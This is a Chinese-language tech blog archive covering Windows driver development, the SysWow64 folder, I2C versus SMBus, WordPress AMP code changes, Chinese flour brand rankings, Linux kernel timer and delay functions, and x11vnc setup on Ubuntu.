3. initialize device object flags  pOurDevice->Flags&= ~DO_DEVICE_INITIALIZING;  pOurDevice->Flags|= DO_BUFFERED_IO;  return STATUS_SUCCESS;}
  • Step 1 產生一個Device Object(可自己決定名稱),然後建立一條Symbolic Link(可自己決定名稱),Device Object名稱一般是放在Windows特殊資料夾中的Device資料夾,使用者可以使用WinObj程式去查看有哪些Device Object,而Symbolic Link的名稱則是放在DosDevices資料夾(GLOBAL??),那應用程式該如何把完整路徑名稱給CreateFile()呢?答案是加上\.\\關鍵字,有印象開啟COM Port時需要使用這樣CreateFile(“\\.\\\\COM1”, …);的方式嗎?這就是代表完整路徑的意思,在寫COM Port程式時,不一定說是要大於COM9才能加\.\\路徑,其實從COM1就可以開始使用。
  • Step 2 把剛剛產生完的Device Object附加到下層Device Object的堆疊,這樣才可以開始處理I/O Request Packet(IRP)。
  • Step 3 初始化相關旗標,讓PnP Manager知道Device Object已經初始化完畢,比較需要注意的是DO_BUFFERED_IO旗標,因為在做裝置讀寫時,User Mode應用程式跟驅動程式是否共用同一塊Buffer是取決於該旗標,如果使用者設定成DO_BUFFERED_IO,則代表驅動程式有自己獨立一塊Buffer,驅動程式讀取完硬體資料後,會複製到它自己的Buffer,然後再複製到User Mode應用程式的Buffer,所以速度會比較慢一些,如果要共用同一塊Buffer的話,則把旗標設定成DO_DIRECT_IO即可。

DriverUnload

當驅動程式準備被系統卸載時,DriverUnload()會被系統呼叫,這是驅動程式最後可以釋放資源的地方,若沒有適當的釋放資源,則驅動程式無法被卸載,遇到這種狀況時,系統會提示需要重新開機才可以正確卸載驅動程式。DriverUnload()副程式定義如下:

void DriverUnload(PDRIVER_OBJECT);

因為WDM驅動程式會收到PnP Remove Device的IRP,所以當系統要卸載驅動程式時,系統會呼叫PnP Callback副程式並帶入IRP_MN_REMOVE_DEVICE(IRP_MJ_PNP),WDM驅動程式一般會在那個地方釋放資源;

若是Legacy驅動程式,因為裝置物件是在DriverEntry()產生,加上又沒有IRP_MN_REMOVE_DEVICE IRP,所以必須在DriverUnload()釋放資源。範例:

void DriverUnload(PDRIVER_OBJECT pOurDriver){}

WDM驅動程式的DriverUnload()一般不做任何事情,因為釋放資源的地方已經改到IRP_MN_REMOVE_DEVICE的地方,原因在於WDM驅動程式的資源配置是在AddDevice()配置,所以釋放資源的地方就變成是收到IRP_MN_REMOVE_DEVICE時才移除之前配置的資源。

手動安裝 *.inf, *.sys 與.dll 檔案

KMDF是Windows系統底層驅動,文件名為:*.SYS
安裝一般驅動程式有 *.inf 及 *.sys 檔案,步驟如下:
1. 將驅動程式的INF 檔copy到System32 Inf 底下(如 C:\Windows\inf\ ,注意:這個目錄可能是隱藏的!), 將SYS檔copy 到driver 底下(如 C:\windows\system32\driver\),
2. 啟動Device Manager 或重開機就會自動安裝

UMDF是用戶層驅動,文件名為:*.DLL
安裝 DLL 元件,步驟如下:
將 DLL 組件先複製到 C:\Windows\System32 目錄下
然後進入命令提示字元執行 regsvr32 xxxxxx.dll 指令

系統檔案什麼是SysWow64? 什麼是system32 目錄?

老麟October 26, 2011
64位的Windows並不是簡單地把所有東西都編譯成64位就萬事大吉的。關於64位的CPU應該做成什麼樣子,Intel和AMD曾有各自的打算。 AMD的回答直接了當:新的64位處理器,應該能在提高更高處理能力的同時,保持對32位應用程序的兼容性。而Intel則希望藉此機會,把下一代的處理器,設計得更完美。於是,就有了AMD的x86-64(後被稱為amd64)的處理器和Intel的IA-64(安騰)處理器。和amd64不一樣的是,安騰處理器並沒有很好地提供對32位應用程序的支持。具體信息,讀者在網上應該很容易找到,也就不多說了。

Windows作為一個操作系統,自然希望用戶在運行64位操作系統時,也能像以前一樣,運行各種32位應用程序。這一點,在amd64處理器上,相對容易做到。而安騰,幾乎是另外一回事。 (後來Intel也生產了兼容amd64的處理器,但那是後話。)雖然我說“相對”容易做到,但也不是空手套白狼。當操作系統運行在64位時,怎麼才能保證已經存在的32位應用程序以為自己仍然運行在32位系統上呢?微軟的解決方案是:Wow64,全稱是32bit Windows On 64bit Windows(64位Windows上的32位Windows)。

你也可以這樣理解,雖然整個系統是運行在64位模式,但如果一個應該程序是32位的,Windows會在64位的基礎上,加載一個“32位的Windows”。這樣,這個32位應用程序就以為自己是運行在32位的系統之上的。於是,你也可以想像,這就意味著,64位的Windows,不但帶有64位操作系統應有的系統文件,還帶有32位系統應有的系統文件。

我們都知道的是,Windows系統的主要係統文件都是放在一個叫做System32的文件夾中的。為了能同時放下兩套系統文件,Windows會在64位的系統上,增加了一個文件夾,叫SysWow64。這便有了一個問題,System32和SysWow64裡面,哪個放的是64位的系統文件,哪個放的是32位的系統文件呢?如果你還記得Wow64指的是64位Windows上的32位Windows,那麼,你就能會想到,SysWow64裡放的是32位的系統文件。但你也可能會問,為什麼一個明明叫System32的文件夾裝的是64位的系統文件,而一個明明叫SysWow64的文件夾裝的卻是32位的系統文件呢?既然是64位的系統,為什麼不能有System64和System32這樣的文件夾呢? 這個問題問得很好。答案也很簡單:人在江湖,身不由己。

兼容性
如果我問你,可曾有多少機會接觸過安騰處理器呢?我想,對於一般人來講,應該是沒有的。那為什麼amd64會大行其道,而安騰處理器卻鮮為人知呢?還是因為一個軟硬件設計上的關鍵概念:兼容性。正是因為安騰處理器,沒有做好對已有的32位系統提供良好的支持,便其一直處於市場的邊緣。這和你不會買一台看不了模擬信號頻道的高清電視是一個道理。

之前我們談到的兼容性,是指在64位Windows上,兼容已經有的32位應用程序。現在考慮另一種兼容性。如果你寫了一個很牛的32位的應用程序,現在,你想把它變成64位的應用程序,以更充分地利用64位處理器所帶來的新的處理能力。你肯定覺得,這不就是讓64位編譯器編譯一遍就完了的事兒麼?可能你發現,這並不是骨感的現實。你突然發現,你的程序裡,為了某些你已經想不起來的原因,把System32這個文件夾,寫死在了你的程序裡。而這個System32中的32,讓你很不安。你嘗試著運行了你的程序,卻發現一切正常。為什麼呢?因為這是Windows系統的另一個兼容性方面的努力:讓一個已有的32位應用程序,不加修改或者盡可能少地加以修改,便可以被編譯成64位應用程序並在64位Windows上運行。

其實,把System32這樣的路徑,寫死在程序裡,並不是一個個案。所以,為了保證這些應用程序可以順利地過渡到64位,Windows最後還是決定讓64位的系統文件放在System32的文件夾下。而讓32位的系統文件,搬到了SysWow64中去。你肯定會想,那讓32位搬到SysWow64中去以後,那些寫死在32位應用程序中的System32怎麼辦?答:Windows會給他們轉向到SysWow64中去。那讓64位中的System32轉向到System64不也是一樣麼?真的一樣麼?不一樣麼?真的一樣麼?不一樣麼?真的不一樣。

作為64位Windows操作系統,當然是希望能充分發揮64位處理器的潛力,讓應用程序更有效率地運行。如果在運行64位應用程序時,總要檢查是否需要轉向,勢必影響程序運行效率。所以,不能給64位應用程序做沒有必要的轉向,如果說必須要轉,那就只能轉32位應用程序了。是的,沒有辦法,在64位操作系統中,32位應用程序要做一些小的犧牲。此外,為了保證32位應用程序不與64位應用程序相衝突,除了System32文件夾外,註冊表也需要為32位和64位提供兩套,也需要讓32位的應用程序在必要時重定向。

結論
所以SysWow64文件夾,是64位Windows,用來存放32位Windows系統文件的地方。

後記
兼容性是一個重要的事情。當然,也是一個很有意思的事情。如果你在Windows 7中運行”winver”,你就會發現,Windows 7原來是Windows 6.1。為什麼呢?事情是這樣的,Windows XP是Windows 5.2,Windows Vista開始變成了6.0,結果,很多應用程序只是檢查操作系統版本號的頭一位,發現不是5,於是就提示用戶說:“我們不支持Windows XP以前的系統”。這也是從Windows Vista的不成功中,學習到的一課。也許,以後永遠都沒有Windows 7.0也未可知啊。

如今的市場上已經找不到只支持32位指令集的X86處理器了,除了極個別老舊PC。當年64位X86處理器爭奪戰中Intel被AMD打個措手不及,後者聯合微軟搶先推出了X86_64指令集,Intel最終也接納了AMD的64位指令集。不過在伺服器市場上,Intel當時跟HP合作推出了安騰(Itanium)處理器,使用的是IA-64指令集體系,不過16年來安騰處理器越來越不受歡迎,Intel日前推出了代號Kittson的安騰9700系列處理器,這是最新但也是最後一代安騰處理器了,後續不再更新了。

工具書書本列表:

2017/08/08

設置編譯環境 - 開發環境安裝Visual Studio, Windows SDK, 以及Windows driver kit(WDK)

想記錄一下, 架設Windows編譯環境, 還有釐清一下容易搞混的Windows SDK與Windows driver kit,

建議的安裝次序是:

  1. 先安裝 Visual Studio 2010/2013/2015/..etc
    • 是微軟公司的開發工具套件系列產品。VS是一個基本完整的開發工具集,它包括了整個軟體生命周期中所需要的大部分工具,如UML工具、代碼管控工具、整合式開發環境(IDE)等等。所寫的目的碼適用於微軟支援的所有平台
    • 適用於 Windows 10 的下載項目與工具
  2. 再安裝 Windows SDK (注意SDK與WDK版本號要一致)
    • Windows SDK是由微軟公司出品的一個軟體開發包,向在微軟的Windows作業系統和.NET框架上開發軟體和網站的程式設計師提供頭文件、庫文件、示例代碼、開發文檔和開發工具! 微軟每次發布一個主要版本的Windows,都會發布對應的開發工具以使得開發人員能夠調用新的作業系統的應用程式開發接口(API)。在Windows 98之後,這個開發工具包被命名為為Platform SDK。在Windows Vista的SDK推出時,這個產品改名為Windows SDK
    • 微軟的Windows SDK 和模擬器封存
  3. 安裝WDK – Windows driver kit (注意SDK與WDK版本號要一致)
    • 提供大量的驅動程式範例,例如:USB、WMI、滑鼠、鍵盤等。賦予驅動程式開發者極大的方便。Windows Vista作業系統改採 Windows Driver Kit(WDK)來取代原本Windows XP上開發的硬體驅動程式撰寫方式Windows驅動程序開發工具包(DDK)
    • 微軟的WDK、WinDbg 及相關工具

I2C Bus 與 SMBus 有什麼不同?

傳統的i2c Bus裡的 slave device並無法主動通知master 有事件發生;而SMbus因為有另外支援SMBus Alert signal, 所以Host收到Alert可另外發出ARA Protocol詢問是那一個slave device發出Alert,進一步針對此slave device加以處理。

SMBus與I2C同樣都是屬於匯流排的標準,由於SMBus Specification的制定是依據I2C,因此二個標準有許多相似的地方,以下將列出SMBus與I2C之間相同與差異之處。

SMSBUS 系統管理匯流排(System Management Bus)

SMbus 最早是由 Intel 公司提出來的. 現在由 SBS 管理維護這一個規格. 此規格是用 Philips 的 I2C 簡化而來. SMbus 是由兩條訊號所組成的一種匯流排. 是為了在系統上較慢速的裝置及電源管理裝置之間的溝通使用. 使系統可取得這些裝置的製造廠商,型號,一些控制資訊,錯誤訊息及狀態.這兩條訊號為 SMBCLK 和 SMBDATA. 這和 I2C 上的 Clock(SCL) 和 Data(SDA) 是一樣的.

I2C bus 內部整合電路匯流排(Inter-Integrated Circuit Bus)

傳統上,當有多項裝置要連接到處理器時,各項裝置的住址線以及資料線會個別接到處理器上,如此一來,就佔用了處理器的腳位,使得處理器的IC腳數目增加。為了解決這個問題,飛利浦公司在1980年代發展出所謂的交互整合電路(I2C)匯流排。I2C是一個低頻寬、短距離的通訊協定。所有的裝置藉由兩條線連接在一起,這兩條線分別為串列資料線(SDA)和串列時脈線(SCL)。由於所有的通訊只在這兩條線上動作,所以每一個裝置必須有一個獨一無二的住址,讓處理器來辨識它。

下面將更深入的來介紹交互整合電路(I2C)匯流排介面單元

  • I2C單元允許應用程式處理器透過I2C匯流排來服務master和slave裝置。
  • I2C單元啟動應用程式處理器與I2C周邊設備作溝通以及使用微控制器達成系統管理功能,I2C匯流排需要極少數的硬體來傳送有關於應用程式處理器系統到一個外部裝置的狀態和資料。
  • I2C單元是屬於應用程式處理器內部匯流排的一個周邊設備,資料是經由一個緩衝介面來傳送到I2C匯流排以及從I2C匯流排來接收,控制和狀態資訊是透過一組記憶體映像暫存器來傳送

文件:I2C Bus 與 SMBus 有什麼不同?

關於I2C Bus與SMBus,許多人很少去談論與瞭解兩者的細節差異,包括很多國外的簡報文件也經常將兩者混寫、交雜描述、交替運用。確實,在一般運用下,I2C Bus與SMBus沒有太大的差別,從實體接線上看也幾乎無差異,甚至兩者直接相連多半也能相安無誤地正確互通並運作。不過若真要仔細探究,其實還是有諸多不同,如果電子設計工程師不能明辨兩者的真實差異,那麼在日後的開發設計的驗證除錯階段時必然會產生困擾,為此本文將從各層面來說明I2C Bus與SMBus的細微區別,期望能為各位帶來些許助益。
ref

再次強調,
傳統的i2c Bus裡的 slave device並無法主動通知master 有事件發生;而SMbus因為有另外支援SMBus Alert signal, 所以Host收到Alert可另外發出ARA Protocol詢問是那一個slave device發出Alert,進一步針對此slave device加以處理。

2017/07/26

在AMP網頁裡, 如何添加Histats Analytics 教學

以下是獲取AMP的Histats Analytics ID的步驟, 以我自己wordpress網站為例, 使用Google推薦外掛AMP for WP – Accelerated Mobile Pages for WordPress

步驟1:在Histats登錄或註冊。

步驟2:選擇(隱藏計數器)並獲取無JavaScript。

步驟3:抓取無JavaScript代碼後,從img標籤複製ID。 示例3010736是下圖的ID。

步驟4:從img標籤獲取Id後,現在從Google Analytics(分析)選項中選擇Histats Analytics(分析)選項,輸入ID並保存。

2017/07/25

解決AMP找不到特色圖片的錯誤 not foundfeature image url (使用Google推薦外 掛AMP for WP - Accelerated Mobile Pages for WordPress)

因為我的文章幾乎沒有設定特色圖片, 所以AMP當然找不到 image, 一樣的邏輯要去設定讓系統可以抓到第一張圖片, 使用到的語法可以參考這一篇文章: wordpress 快速設定 文章的第一張圖片為縮圖

但是, 當然還是要整合一下, 必須看你使用的外掛或程式碼是如何去撈 image url的
以我自己為例, 使用Google推薦外掛AMP for WP – Accelerated Mobile Pages for WordPress

修改accelerated-mobile-pages/templates/features.php

/* 我的修改開始 */add_action( 'get_feature_image', 'get_feature_image' ); function get_feature_image($post_id = null){ //傳入post_id 參數去指定何篇文章    global $post, $posts; $first_img = '';    if($post_id)    $post = get_post( $post_id );  //可以傳post_id去指定何篇文章    if ( has_post_thumbnail() ) {       $first_img = wp_get_attachment_url( get_post_thumbnail_id() );    } else {       ob_start();       ob_end_clean();       $output = preg_match('/<*img[^>]*src*=*["\']?([^"\']*)/i', $post->post_content, $matches);       $first_img = $matches[1];    }    return $first_img;}/* 我的修改結尾 */	// 13. Add Custom Placeholder Image for Structured Data.	// if there is no image in the post, then use this image to validate Structured Data.	add_filter( 'amp_post_template_metadata', 'ampforwp_update_metadata_featured_image', 10, 2 );	function ampforwp_update_metadata_featured_image( $metadata, $post ) {			global $redux_builder_amp;			global $post;			$post_id = get_the_ID() ;			$post_image_id = get_post_thumbnail_id( $post_id );			$structured_data_image = wp_get_attachment_image_src( $post_image_id, 'full' );			$post_image_check = $structured_data_image;/* 我的修改開始 */						//$structured_data_image_url = '';			$structured_data_image_url = get_feature_image( $post_id );/* 我的修改結尾 */			if ( $post_image_check == false) {				if (! empty( $redux_builder_amp['amp-structured-data-placeholder-image']['url'] ) ) {					$structured_data_image_url = $redux_builder_amp['amp-structured-data-placeholder-image']['url'];				}					$structured_data_image = $structured_data_image_url;					$structured_data_height = intval($redux_builder_amp['amp-structured-data-placeholder-image-height']);					$structured_data_width = intval($redux_builder_amp['amp-structured-data-placeholder-image-width']);					$metadata['image'] = array(						'@type' 	=> 'ImageObject',						'url' 		=> $structured_data_image ,						'height' 	=> $structured_data_height,						'width' 	=> $structured_data_width,					);			}	

2017/07/07

2015與2016年 中國國內麵粉十大品牌排名

從品牌監測情況來看,中國面粉市場集中度不高,面粉市場前十品牌市場占有率為50%左右。古船、香滿園和金龍魚成為最熱銷的三大品牌,通過對大陸大型零售企業的市場銷售數據監測,2015年中國面粉十大品牌排名如下:

註:各品牌市場占有率主要通過對大陸大型零售企業月度年度銷售數據及市場覆蓋率匯總得出,不表示該品牌通過其他營銷方式及其他管道的銷售數據。

數據來源:中商產業研究院數據庫

中商產業研究院發佈的《2017-2022年中國面粉行業市場調查及投資前景研究報告》指出,2015年,大陸面粉行業市場份額排名前十品牌分別為:古船、香滿園、金龍魚、河套、百樂麥、香雪、中裕、金沙河、五得利和塞北雪。從品牌監測情況來看,古船、香滿園和金龍魚為最熱銷的三大品牌,面粉市場前十品牌市場占有率50%左右,市場集中度不高。

古 船

北京糧食集團有限責任公司是北京市人民政府出資組建的大型國有獨資企業。自1999年成立至今,京糧集團所屬二級企業32家,參股企業8家,擁有糧油儲備、糧油貿易、糧油加工、商貿服務、商業不動產五大產業板塊,培育瞭“古船”、“綠寶”、“火鳥”、“古幣”等眾多知名品牌。北京古船食品有限公司是由北京京糧股份有限公司投資的全資子公司,是一家集面粉和食品生產、科研、貿易、服務為一體的大型糧食加工企業。

香滿園

益海嘉裡食品營銷有限公司是豐益國際在華投資的全資子公司,是世界知名的小包裝油生產商之一。公司產品涵蓋瞭小包裝食用油、大米、面粉、掛面、調味品、牛奶、豆奶、餐飲用油、特種油脂、油脂化工等10大領域。公司旗下香滿園小麥粉面粉包括香滿園餃子粉、饅頭粉、家庭通用粉系列等。

金龍魚

金龍魚是豐益國際旗下知名品牌,是世界知名的小包裝油生產商之一。公司產品涵蓋瞭小包裝食用油、大米、面粉、掛面、調味品、牛奶、豆奶、餐飲用油、特種油脂、油脂化工等10大領域。旗下金龍魚面粉,源自麥芯精華,靠近小麥胚乳的中心部位,意味著更低的灰分、更高的面筋質量。

河套

內蒙古恒豐食品工業(集團)股份有限公司始建於1958年,位於內蒙古河套平原巴彥淖爾市。集團是開發全產業鏈的大型綜合農牧業產業化集團。集團專註於面粉產品的生產加工研發,開發的“河套”牌系列面粉及深加工產品,覆蓋大陸27個省、市、自治區的130多個地區,成為大陸高端優質面粉“品牌”和“品質”的代名詞。

百樂麥

青島百樂麥食品有限公司創立於1993年,是一家集科研、生產、銷售、服務於一體的大型現代化食品企業。大陸設有6個大區,在北京、沈陽、杭州、武漢、廣州等地設有20餘家分公司。公司以面粉生產為基礎,走主食產業化開發的路線,產品現已遠銷大陸18個省、市、自治區的60多個大中城市,並出口俄羅斯、韓國、泰國等國。

香雪

沈陽香雪面粉股份有限公司是由中糧集團與沈陽市糧食局共同投資組建的、大陸北方規模最大的面粉及面製品加工企業。公司主要產品為香雪牌、東大牌面粉及面條產品,銷往東三省及北京市,滿足在地居民及食品生產企業的用糧需求,還擔負著沈陽市的軍供任務。公司長期以來與頂益、百勝、達利等國際、大陸大型食品生產企業保持著穩定的合作關系。

中裕

中裕食品有限公司是一家集優質小麥良種繁育、種植、收購、儲存、深加工於一體的能源節約型、循環經濟型、精深加工型企業。目前中裕食品有限公司優質小麥深加工產品主要有:小麥面粉,掛面,小麥蛋白、變姓淀粉、特級酒精、胚芽油、麥胚多肽、膳食纖維高蛋白飼料。公司生產的“中裕”牌系列面粉面條已開發有中、高檔系列30餘個品種。

金沙河

河北金沙河面業集團始於1996年,專註於掛面、面粉的生產研究,日處理小麥6000噸,46條掛面生產線,日生產掛面2000噸。公司相繼通過ISO9001質量管理體系認證和ISO14001環境管理體系和HACCP食品安全管理體系認證,並先後獲得“中國名牌產品”、“綠色食品”榮譽稱號。2015年中國小麥粉加工50強企業排名中,公司排名第六位。

五得利

五得利面粉集團有限公司始建於1989年,是一家專業化生產面粉的民營企業。經過27年的開發,公司從一個日處理小麥能力不足15噸的作坊式小廠,開發成目前擁有河北大名、深州、趙縣、雄縣、柏鄉,山東東明、禹城,河南新鄉、周口、商丘,陜西咸陽,江蘇宿遷、興化,安徽亳州,六省十四地14個子公司,74條現代化面粉生產線,33個大型製粉車間,日處理小麥能力達40000噸的大型製粉企業。

塞北雪

寧夏塞北雪面粉有限公司是集面粉精加工、研發為一體的現代化面粉加工企業。企業目前有高筋等級粉、通用面粉、專用面粉、精製掛面四大系列幾十個品種。為瞭適應市場需求,公司又相繼研發推出瞭家用面包粉,以及帶料包的塞北雪香辣牛肉掛面、香菇雞汁掛面、火鍋掛面等產品。

以下是2016年國內麵粉詳細榜單:

中商情報網訊,據國內麵粉線下銷售數據統計分析,2016年國內麵粉十大品牌排名分別是古船、金龍魚、香滿園、河套、百樂麥、香雪、中裕、金沙河、五得利、塞北雪。

2017/06/26

Linux- 關於timer定時器, delay延遲, sleep睡眠, 與中斷....等等

定時器(timer)

(參考)定時器(不懂的話,可以暫時想成個鬧鐘)分為硬件和軟件定時器,軟件定時器最終還是要依靠硬件定時器來完成。
內核在時鐘中斷發生後檢測各定時器是否到期,到期後的定時器處理函數將作為軟中斷在底半部執行。
實質上,時鐘中斷處理程序執行update_process_timers函數,該函數調用run_local_timers函數,這個函數處理TIMER_SOFTIRQ軟中斷,運行當前處理上到期的所有定時器。

Linux內核中定義提供了一些用於操作定時器的數據結構和函數如下:
1)timer_list:說定時器,當然要來個定時器的結構體

struct timer_list{    struct list_head entry; //定時器列表    unsigned long expires; //定時器到期時間    void (*function)(unsigned long) ;//定時器處理函數    unsigned long data; //作為參數被傳入定時器處理函數    struct timer_base_s *base;}

2)初始化定時器:
經過這個初始化後,entry的next為NULL,並給base賦值

void init_timer(struct timer_list *timer);

3)增加定時器:
該函數用於註冊內核定時器,並將定時器加入到內核動態定時器鍊錶中。

void add_timer(struct timer_list *timer);

4)刪除定時器:

int del_timer(struct timer_list *timer);

說明:del_timer_sync是del_timer的同步版,主要在多處理器系統中使用,如果編譯內核時不支持SMP,del_timer_sync和del_timer等價.

5)修改定時器:

int mod_timer(struct timer_list *timer, unsigned long expires);

ex: 下邊是一個使用定​​時器的模版:

struct xxx_dev /*second設備結構體*/{  struct cdev cdev; /*cdev結構體*/  ...  struct timer_list xxx_timer; /*設備要使用的定時器*/};int xxx_func1(...) //xxx驅動中某函數{  struct xxx_dev *dev = filp->private_data;    ...  /*初始化定時器*/  init_timer(&dev->xxx_timer);  dev->xxx_timer.function = &xxx_do_handle;  dev->xxx_timer.data = (unsigned long)dev;  dev->xxx_timer.expires = jiffies + delay;    add_timer(&dev->xxx_timer); /*添加(註冊)定時器*/  ...  return 0;}int xxx_func2(...) //驅動中某函數{  ...  del_timer(&second_devp->s_timer);  ...}static void xxx_do_timer(unsigned long arg) //定時器處理函數{  struct xxx_device *dev = (struct xxx_device *)(arg);    ...    //調度定時器再執行  dev->xxx_timer.expires = jiffies + delay;  add_timer(&dev->xxx_timer);}在定時器函數中往往會在做完具體工作後,延遲expires並將定時器再次添加到內核定時器鍊錶中,以便定時器能被再次觸發 

關於延遲與睡眠

在內核定時器中,常常少不了要說下內核延遲的事,請接著往下看:
1)短延遲:
在linux內核中提供了三個函數來分別實現納秒,微秒,毫秒延遲,原理上是忙等待,它根據CPU頻率進行一定次數的循環

void ndelay(unsigned long nsecs); void udelay(unsigned long usecs); void mdelay(unsigned long msecs);

毫秒延遲已經相當大了,當然更秒延遲當然要小一些,在內核中,為了性能,最好不要用mdelay,這會耗費大量cpu資源

void msleep(unsigned int millisecs); unsigned long msleep_interruptible(unsigned int millisecs); void ssleep(unsigned int seconds);

這三個是內核專門提供該我們用來處理毫秒以上的延遲。
上述函數將使得調用它的進程睡眠參數指定的秒數,其中第二個是可以被打斷的,其餘的兩個是不可以的。

2)長延遲:
內核中進行延遲最常用的方法就是比較當前的jiffies和目標jiffies(當前的加上時間間隔的jiffies),直到未來的jiffies達到目標jiffies。
比如:

unsigned long delay = jiffies + 100; //延遲100個jiffieswhile(time_before(jiffies, delay));

與time_before對應的還有一個time_after().
其實就是#define time_before(a,b) time_after(b,a);

另外兩個是time_after_eq(a,b)和time_before_eq(a,b)

3)睡著延遲:
這顯然是比忙等待好的方法,因為在未到來之前,進程會處於睡眠狀態,
把CPU空出來,讓CPU可以做別的事情,等時間到了,調用schedule_timeout()就可以喚醒它並重新調度執行。
msleep和msleep_interruptible本質上都是依靠包含了schedule_timeout的schedule_timeout_uninterruptible()和schedule_timeout_interruptible()實現。
就像下邊這樣:

void msleep(unsigned int msecs){    unsigned long timeout = msecs_to_jiffies(msecs) + 1;    while(timeout)         timeout = schedule_timeout_uninterruptible(timeout);}unsigned long msleep_interruptible(unsigned int msecs){    unsigned long timeout = msecs_to_jiffies(msecs) + 1;    while(timeout && !signal_pending(current))         timeout = schedule_timeout_interruptible(timeout);    return jiffies_to_msecs(timeout);}signed long __sched schedule_timeout_interruptible()signed long timeout){    __set_current_state(TASK_INTERRUPTIBLE);    return schedule_timeout(timeout);}signed long __sched schedule_timeout_uninterruptible()signed long timeout){    __set_current_state(TASK_UNINTERRUPTIBLE);    return schedule_timeout(timeout);}

另外還有如下:

time_on_timeout(wait_queue_head_t *q, unsigned long timeout);interruptible_sleep_on_timeout(wait_queue_head_t *q, unsigned long timeout);

這兩個將當前進程添加到等待隊列,從而在等待隊列上睡眠,當超時發生時,進程將被喚醒。


關於udelay & mdelay, 就是busy waiting方式

driver常常會需要很短且精準的delay(n microsecond/millisecond),以完成sync。
此時用jiffies就不恰當,第一單位不夠小,如果timer是100Hz,表示一個tick是10 millisecond。
第二不夠準,因為透過scheduler。在kernel裡有兩個function來完成很小的delay,不使用jiffies:

在<linux/delay.h>

void udelay(unsigned long usecs)void mdelay(unsigned long msecs)

以上兩個都是busy waiting。
udelay的實作要先談BogoMIPS,這個值是指在特定時間內CPU可執行多少個busy loop operation。
也就是說,這個CPU不做任何事可以多快(久) (how fast a processor can do nothing)。
這個值在kernel裡是一個叫做loops_per_jiffy的變數,
在userspace則可在/proc/cpuinfo裡找到。

而kernel是在init/main.c裡透過calibrate_delay()這個function來計算。
值得一提的是這個值是跟performance沒太大關係的。
這個BogoMIPS主要就是用來實作udelay。
udelay去算需要多少個loop operation來得到精確的delay。

使用udelay要小心overflow,它適合很短的delay,通常不超過1 millisecond。
長一點的delay就用mdelay。
要注意的是udelay和mdelay會影響performance,因為CPU無法做任何其他事,所以通常是用來delay以microsecond為單位比較適合。

關於schedule_timeout(), 就是會進入sleep state

另一種delay是schedule_timeout()。與上述不同的是這方法會進入sleep state,直到指定的時間結束,而不是busy waiting。
另一個是不那麼精確,因為睡完是進入run queue。
使用方式是:

/* set task's state to interruptible sleep */set_current_state(TASK_INTERRUPTIBLE);/* take a nap and wake up in "s" seconds */schedule_timeout(s * HZ);

可看出這是使用jiffies。上面的code是將這個process在interruptible的情況下睡s秒。
state必須要在TASK_INTERRUPTIBLE或是TASK_UNINTERRUPTIBLE執行schedule_timeout才會進入sleep。

其他範例如下:

首先看到怎麼透過sleep 作延遲
其中第一個判斷式 in_interrupt() 定義為
>> #define irq_count() (preempt_count() & (HARDIRQ_MASK | SOFTIRQ_MASK | NMI_MASK)) // 判斷當前是否在硬件、軟件、底半部中斷上下文 (下方補充1)

msleep_interruptible() 延遲的單位為毫秒(10^-3)
且在於等待過程可能被中斷,中斷指的是 process 可以接收 signal (下方補充2)

  xxx_sleep() - sleep  The function suspends the execution of the current thread  until the specified time out interval elapses.       msInterval - the number of milliseconds to suspend the current thread.  A value of 0 may or may not cause the current thread to yield.  void xxx_sleep( v_U32_t msInterval ){   if (in_interrupt())   {      PRINT_TRACE(XXX_MODULE_ID_XXX, XXX_TRACE_LEVEL_ERROR, "%s cannot be called from interrupt context!!!", __func__);      return;   }   msleep_interruptible(msInterval);}

接著看這個小API
它實作與msleep()很像, 只是差別在使用 usecs_to_jiffies()
而msleep()是使用 msecs_to_jiffies()

  xx_sleep_us() - sleep  The function suspends the execution of the current thread  until the specified time out interval elapses.       usInterval - the number of microseconds to suspend the current thread.  A value of 0 may or may not cause the current thread to yield.     --------------------------------------------------------------------------*/void xxx_sleep_us( v_U32_t usInterval ){   unsigned long timeout = usecs_to_jiffies(usInterval) + 1;   if (in_interrupt())   {      PRINT_TRACE(XXX_MODULE_ID_XXX, XXX_TRACE_LEVEL_ERROR, "%s cannot be called from interrupt context!!!", __func__);      return;   }   while (timeout && !signal_pending(current))       timeout = schedule_timeout_interruptible(timeout);}

最後一個例子,
則是透過udelay()實作busy wait

  xxx_busy_wait() - busy wait  The function places the current thread in busy wait until the specified time out interval elapses.   If the interval is greater than 50us on WM, the behaviour is undefined.       para: usInterval - the number of microseconds to busy wait.  void xxx_busy_wait( v_U32_t usInterval ){    udelay(usInterval);}

Reference

Delaying Execution
補充1: in_irq() in_softirq() in_interrupt() 函數區別

#define hardirq_count() (preempt_count() & HARDIRQ_MASK)#define softirq_count() (preempt_count() & SOFTIRQ_MASK)#define irq_count() (preempt_count() & (HARDIRQ_MASK | SOFTIRQ_MASK | NMI_MASK))/** Are we doing bottom half or hardware interrupt processing?* Are we in a softirq context? Interrupt context?*/#define in_irq() (hardirq_count()) //判断当前是否在硬件中断上下文#define in_softirq() (softirq_count()) //判断当前是否在软件中断上下文#define in_interrupt() (irq_count()) //判断当前是否在硬件、软件、底半部中断上下文

補充2: 不忙碌的等待
如果在等待過程中,希望 CPU 去做其它事的話,可以用定義在「linux/delay.h」中 sleep 系列的等待函式:

void ssleep(unsigned int seconds);void msleep(unsigned int msecs);unsigned long msleep_interruptible(unsigned int msecs);

延遲的單位分別為秒、毫秒(10^-3)、毫秒(10^-3)。
msleep_interruptible() 與 msleep() 不同的地方在於等待過程可能被中斷,中斷指的是 process 可以接收 signal。
如果在 msleep_interruptible() 中收到 signal 而中斷等待的話,則會回傳距離原始時限的時間(正值),否則的話傳回「0」。

2017/06/20

ubuntu裡如何設定vnc遠端遙控軟體, 讓windows連上ubuntu

利用vnc連線到ubuntu
底下分享兩個方式

第一個方式就是使用GUI介面的設定

  • 按下系統、偏好設定、遠端桌面
  • 然後勾選:允許其他使用者觀看您的桌面、允許其他使用者控制您的桌面、使用者需要輸入密碼
  • 然後輸入妳想要的密碼
  • 不要打勾:詢問您以確認
  • 這樣就可以了

第二個方式就是利用command line介面

  • 首先先不管ubuntu裡面有沒有裝vnc 都給他下這行指令啦~
    • apt-get install x11vnc
  • 安裝好了以後
    • sudo x11vnc -storepasswd [your_password] /etc/x11vnc.pass
  • 使用
    • x11vnc
      就會開始執行了

 

然後到Windows安裝VNC Viewer 

啟動vnc這樣就可以連進來了

2017/06/13

Wordpress跑馬燈外掛- Vertical marquee post titlem與Post title marquee scroll

這個外掛作者有兩款跑馬燈外掛, 方向不同, 一個垂直方向, 一個水平方向
Vertical marquee post titlem 與 Post title marquee scroll

